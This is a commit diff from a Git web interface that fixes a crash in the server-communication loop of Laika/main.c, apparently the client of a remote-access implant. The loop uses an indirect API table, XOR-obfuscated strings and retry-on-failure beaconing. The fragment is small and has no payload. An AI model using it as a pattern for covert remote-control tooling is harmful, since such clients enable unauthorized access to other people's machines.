fix de stack overflow/access violation
This commit is contained in:
12
Laika/main.c
12
Laika/main.c
@@ -168,18 +168,10 @@ retry:
|
|||||||
//keep communicating with server
|
//keep communicating with server
|
||||||
while (1)
|
while (1)
|
||||||
{
|
{
|
||||||
//Send some data
|
Api.memset(server_reply, 0, BUFFER_SIZE);
|
||||||
/*
|
|
||||||
if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n
|
|
||||||
{
|
|
||||||
//send failed
|
|
||||||
Sleep_(Sleep_TIME);
|
|
||||||
goto retry;
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
|
|
||||||
//Receive a reply from the server
|
//Receive a reply from the server
|
||||||
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) //access violation
|
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
|
||||||
{
|
{
|
||||||
//recv failed
|
//recv failed
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
|
|||||||
Reference in New Issue
Block a user